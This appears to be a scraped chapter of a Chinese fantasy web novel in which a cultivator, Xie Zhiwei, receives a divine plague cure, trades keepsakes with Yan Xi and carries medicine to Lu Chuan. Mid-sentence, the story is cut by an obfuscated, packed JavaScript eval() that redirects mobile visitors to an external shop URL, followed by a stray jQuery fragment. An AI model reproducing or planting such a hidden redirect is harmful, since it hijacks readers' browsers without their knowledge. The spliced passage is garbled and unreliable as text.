去找药方的人是子夜到达主城的,快马加鞭,日夜兼程,城门打开后,所有人都听到了马蹄驰骋踏碎月光的声音。
严群还未入睡,不知为何他今日总觉心中躁动,似乎有什么事要发生一般,又怕打扰了白日里操劳的妻子,便点了支蜡烛在公堂上翻阅古籍。
夜半三更,公堂里分外寂静,他手上翻着书页,脑中却是思绪万千,一边想着近日拉去尸坑的人数骤减是个好苗头,一边又想到染了疫病被单独隔离的君上,除了解仙尊谁也不让近身,又该如何是好?
天色越暗,他越感疲累,将书合上便打算去城街上走走,刚走到衙门口,忽然一阵马蹄声遥遥传来,越来越近,他脑中一片空白,身体却先做出反应,朝着马蹄声传来的方向看去。
夜色中,长街两边都没有挂灯,但随着马蹄“嘚、嘚”的声音,原本漆黑的屋子一间间亮起了光,疾驰而来的黑色骏马竟在夜色中笼上了一层光晕。
黑马终于奔至严群面前,骑马的人猛地拉住缰绳,黑马扬起前蹄,发出一声撕裂夜空的长鸣下一刻,黑马便轰然倒地,蓬头垢面的人几乎是从马背上滚下来的,严群慌忙伸手想去扶那人一把,那人却一个翻身迅速爬起来,不待严群开口,那人又从怀中小心翼翼取出一张极厚的信封,声嘶力竭道:
“大人!药方!”
他的声音穿透整条长街,循着声音出来的人都愣在原地,跟在他身后狂奔过来的守卫也停下了脚步。
一阵风拂过,忽然不知从何处响起了一声蝉鸣,这声音就像一个信号,紧接着人们的欢呼和哭喊同时响起。
——————————————
泗松镇所有大夫都聚在药站配药熬药,其他人没有生病的人全都去帮忙了。
场院上只有一青一藕两道身影,青衣人脊背笔直,手中拿着一张折起的信笺,正是解知微。另一人着藕色布裙仰头和解知微说话,是严熙。
二人交谈间,解知微才知道,求药方的人并未到达玄都国,他们在林间赶路的时候碰上了一个被野兽袭击的老头,领头的宋捕快帮他驱走了野兽,又处理了伤口,正商量着分一个人送他回家,结果那人突然抓住了宋捕快的胳膊指名要他背着回去。
其他人都很愤慨,劝宋捕头不要理他,但宋捕头想了想还是决定送他回家,便把自己身上的所有盘缠和干粮都分给了队伍里的人,让他们先走,他会尽快赶回来和他们在下一个驿站碰头。
背着人,他满头大汗地往最近的镇上赶,那老头却忽然将一封信塞进他怀中,宋捕头气喘吁吁地问这是何物?
一道笑吟吟完全不似耄耋老人的声音从背上传来,“救命的药方呀,傻孩子。”
话音刚落,宋捕头便感觉背上一轻,他慌忙回头,四周哪里有什么手上的老人,他颤抖着把信封从怀里掏出来,封面上“疫病药方”几个字刚劲有力,笔笔锋利隐约发着金光。
“……当时我们都围在一起,看着父亲拆了五六层才终于把药方拆出来。”严熙当时看着严群拆信封,心中异常紧张和激动,以至于现在说起来,眼睛还是明亮得吓人。
解知微看向严熙的眼神柔和,嘴角带着浅浅的笑意,“严姑娘连夜带人来送药方也辛苦了。”
“没有没有,反正我也睡不着。”严熙连忙摇头,又指了指解知微手中的信笺,道:“和药方一起的还有这张信笺,只是上面写的字我们都看不懂,父亲说解姑娘于仙们一道颇有见解,定能看懂医仙的意思。”
解知微展开信笺,入眼是龙飞凤舞的符文,指尖凝出灵力拂过纸面,混乱的图案立刻变成了正常的文字——
正星归位,灾数已尽。
仙友镇鬼,任尔处置。
看来把药方给宋捕头的人并不是什么医仙,而是这次行罚的神官瘟神,信笺内容为天机,凡人是看不懂的。
严熙见解知微万分镇重地把信笺收了起来,有些好奇道:“上面写了什么呀?”
瘟神降灾的事情自然不能说,解知微想了想便笑道:“没什么,是旧友来信,我此前向他借过一样东西,他听闻我在此地,便借着机会书信于我,说那东西送我不用归还了。”
“这样呀……”
听闻是和衡南无关的事情,严熙松了口气,但是嘴角笑容还未扬起便僵住,她看到解知微腰间空空,什么饰物都没挂。
严熙此前从严群那里听闻了解知微和陆川的身份,很是不安了一阵,一路送信过来,心中反复回忆自己是否有失礼的地方,直到方才和解知微说话,对方待她温柔亲和,她才稍微安心,但是这会儿发现解知微并没有佩戴她送的药囊,她又立刻有些忐忑起来。
解姑娘其实并不喜欢这种凡间俗物吧,她有仙力护体根本不需要什么药囊,而且那药囊也没有多大用处,又不好看,又不精致……
“哦,对了。”解知微忽然开口。
严熙正在徒自悲伤,慌忙抬头,猝不及防看到解知微竟从贴身胸口取出一个青色小物,顿时愣住。
“之前你送我的这个药囊。”解知微把药囊托在掌心,有些不好意思道:“别人同我说,这是白茅,我那日却说是羽毛,实在不好意思呀。”
解知微见她没有说话,又低头凑近了一些,“严姑娘?”
严熙这才反应过来,慌忙摆手,“啊?没、没关系。”
解知微松了口气,又疑惑道:“严姑娘那日为何不指正我?”
解知微比严熙要高出大半个头,此刻略略低了头去看她,严熙看着她清浅的眉眼,忽而心跳就快了许多,慌忙错开眼神,“其实白茅和羽毛一样呀!”
“一样么?”解知微仔细观察药囊上的刺绣。
“是呀,白茅是至洁之物,古人祭祀时还会用它通神,是洁净与秩序的象征。”严熙找到了说辞,便接着道:“羽毛则是鸟儿翱翔于天的凭借,我也希望姑娘你能乘风而行,实现自己的青云之志。”
青色素布上,白色的团雾朝向同一个方向,轻盈蓬松,既像随风而动的茅草,又似飘飞空中的柔羽。
解知微将药囊揣回胸口,又从乾坤袋中取出一个穿了红穗子的竹牌,道:“这是我亲手刻的福牌,上面的符文有辟邪的功效,今日便赠给姑娘,就当是药囊的谢礼。”
“啊?不用的,这怎么好意思?”严熙顿时手足无措起来,“我、我送你药囊不是为了要回礼的。”
“我自然知道严姑娘一片好心,这也是我的一点心意。”解知微把竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739165|204246||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
牌放到严熙手中,“只是刀工一般,还望姑娘不要嫌弃。”
竹牌不过方寸大小,上面的符文却清晰顺滑没有丝毫刻顿的痕迹,仿佛生来便长在竹子身上,解知微说自己刀工一般,实在是谦虚了。
严熙小心翼翼抚摸竹牌上的符文,再抬头,眸光流转,如清泉见底,她轻声道:“这是我收到过的最珍贵,最珍贵的礼物。”
“你喜欢便好。”解知微舒了口气,她的绣工没法见人,不可能做个差不多的东西来送给严熙,其他那些瓶瓶罐罐、刀枪棍棒的东西又和小姑娘实在沾不上边,就这么一个竹牌,还是她在逍遥宗练习画符的时候随手刻的,不过符文上有她的灵力,确实有辟邪功效,她也没有瞎说。
二人又在场院上聊了些主城的事情,忽然远远有个黑色人影急急忙忙跑了过来。
“仙尊!”
是陆川的暗卫,解知微猛地想起自己过来前曾嘱咐过他们,如果药熬好了一定要来喊她,千万不可直接去陆川的房间。
“药好了?”解知微问道。
影五点头如捣蒜,“影四让我来喊你。”
“好,我马上过去。”解知微又看向严熙,“不好意思啊,严姑娘,我还要去送药。”
严熙连忙摆手,“没事,解仙尊去忙吧,我一会儿就回主城了。”
解知微略一颔首,便跟着影五往陆川那边去。
严熙看着解知微的背影,神色落寞,但只一会儿便敛住心神,将解知微送她的竹牌系在腰间,便朝另一个方向走去。
——————————————
因为所有的病人都集中在泗松镇和芜宁县,所以今日主城派了不少帮手过来帮忙,药站里忙得不行,几十个药罐上都熬着药。
解知微和影五到的时候,其他几个暗卫也在,十五和影三蹲在药罐边看火候,影四把晾温了的汤药小心翼翼放在食盒中递给解知微。
“谢谢。”
解知微接过食盒,正要出门,便有不知情帮忙的大夫凑上来,“哎呀,姑娘,这是要给你那位朋友送药么?我来吧,你们这几日都辛苦了,歇一歇吧。”
十五见状立刻起身要上前阻拦,却见解知微轻轻转手便躲过了那人,她面上笑容随和,缓声道:“不行的,他和别人不一样。”
“不一样?哪里……喔!哦哦!知道了知道了!”那人先是一脸疑惑,忽然像是想到了什么,恍然大悟,把路让开,眉开眼笑道:“好的,那姑娘你小心点。”
那人站在门边看着解知微急匆匆往棚舍后面去,笑着摇摇头,一转身,四个黑衣人皆直愣愣望着门外解知微离开的方向,他吓了一跳,拍着自己胸口道:
“吓我一跳!怎么了?人家小姑娘给自己心上人送药你们怎么这个样子?”
四个人木着脸对视一眼,皆默默转身,继续各干各的。
那人一脸茫然,“怎、怎么?我说错了?”
再次张着嘴围观了全程的周大夫干笑一声,拉过一头雾水的同僚,把捣药杵塞他手里,“没有,来,还有很多事情要干呢。”
那人立刻被转移了注意力,融进了干活的队伍里。
周大夫看了眼外面碧蓝的天空,一脸深藏功与名。